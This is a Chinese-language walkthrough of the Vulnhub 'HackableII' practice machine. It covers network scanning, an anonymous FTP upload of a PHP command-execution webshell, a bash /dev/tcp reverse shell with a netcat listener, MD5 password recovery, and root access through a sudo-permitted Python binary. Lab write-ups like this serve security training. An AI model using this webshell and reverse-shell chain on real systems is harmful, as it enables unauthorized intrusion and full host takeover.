Vulnhub靶场案例渗透[8]- HackableII
文章目录
- 一、靶场搭建
- 1. 靶场描述
- 2. 下载靶机环境
- 3. 靶场搭建
- 二、渗透靶场
- 1. 确定靶机IP
- 2. 探测靶场开放端口及对应服务
- 3. 扫描网络目录结构
- 4. ftp文件上传漏洞
- 5. 反弹shell
- 6. 提权
一、靶场搭建
1. 靶场描述
difficulty: easy
This works better with VirtualBox rather than VMware
难度为容易的靶场
2. 下载靶机环境
靶场源地址点击跳转,点击图中标注处下载靶场源文件。
下载完成的文件如下:
一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
3. 靶场搭建
使用VMware打开对应的
ova
文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT
模式,然后点击启动就行。
二、渗透靶场
1. 确定靶机IP
确定靶机IP的步骤:
- 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
- nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为
nat模式
确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24
通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为
192.168.37.129
.
2. 探测靶场开放端口及对应服务
探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。
# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.129
结果图:
可以确认主机开放了
80
和22
以及21
端口,分别对应http服务和ssh服务和ftp服务,以及http后台使用的PHP作为后台语言,并且ftp支持匿名登录。到这里直接通过浏览器访问对应web服务。
3. 扫描网络目录结构
通过
dirsearch
扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。
# 扫描目录结构命令
sudo dirsearch -u http://192.168.37.129 -x 404
发现dirsearch扫描files目录,推测应该是ftp服务文件上传保存位置。
4. ftp文件上传漏洞
通过ftp匿名登录上传一个一句话木马php代码,看文件保存路径是否是
/files
下。
ftp 192.168.37.129
登录用户名:anonymous
登录密码: test@gmaiil.com
# 上传木马php文件
put test.php
// 一句话木马pho代码内容
<?php
echo $_GET["cmd"];
system($_GET["cmd"]);
?>
上传php代码之后,发现通过http服务可以直接访问到上传的
test.php
文件。
5. 反弹shell
利用直接上传的php文件,尝试远程执行执行一段命令,看是否可以正常执行。这里选用
ls
遍历目录文件,发现可以执行成功,接下来利用一句话木马,进行反弹shell。
反弹shell的命令为
bash -c "bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1"
,这段命令要设置成url参数需要进行urlencode编码,下面提供一个urlencode编码的代码。
import urllib.parse
import sys
import file_util
def urlencode_string(content):
'''
url编码
:param content:
:return:
'''
if content:
return urllib.parse.quote(content, safe="")
def urldecode_string(content):
'''
url编码还原
:param content:
:return:
'''
if content:
return urllib.parse.unquote(content)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python *.py filepath")
sys.exit(0)
file_path = sys.argv[1]
content = file_util.get_file_content(file_path)
if not content:
print("file don't have content")
sys.exit(0)
print(urlencode_string(content))
# 反弹sehll设置参数
/bin/bash -c "bash -i >& /dev/tcp/192.168.37.22/8888 0>&1"
# 攻击机kaili执行
nc -lvp 8888
成功获取到反弹shell。
6. 提权
获取到反向shell之后,使用这段python代码之后,创建一个交互性强的伪终端。
python3 -c 'import pty; pty.spawn("/bin/bash")'
获取到shell之后,发现
/home
目录下有一个important.txt
文件进行了提示,下图就是提示文件内容。
按照提示内容,直接执行,/.runme.sh的脚本。发现打印的内容出现shrek的密码,看密码的形式应该是使用md5加密的。接下来就是进行通过撞库还原密码。
还原密码的方式:一通过
john
等暴力破解方式进行枚举暴力,需要花费大量时间。二找到彩虹表之类的库直接进行比较查询,速度快。这次选用一个在线网站进行还原点击跳转,获取到密码的明文为onion
.
获取到密码之后直接使用ssh方式连接到目标主机.获取
shrek
身份的shell,并且获取到shrek
用户目录下的user.txt
。
接下来执行
sudo -l
发现可以直接sudo 进行提权。shrek
可以以root身份免密执行/usr/bin/python.3.5
。接下来编写生成一个新的终端python代码,就可以提权到root身份了。
sudo /usr/bin/python3.5 -c "import os;os.system('/bin/bash')"
执行python代码之后,成功获取到root的权限,以及root下面的flag内容。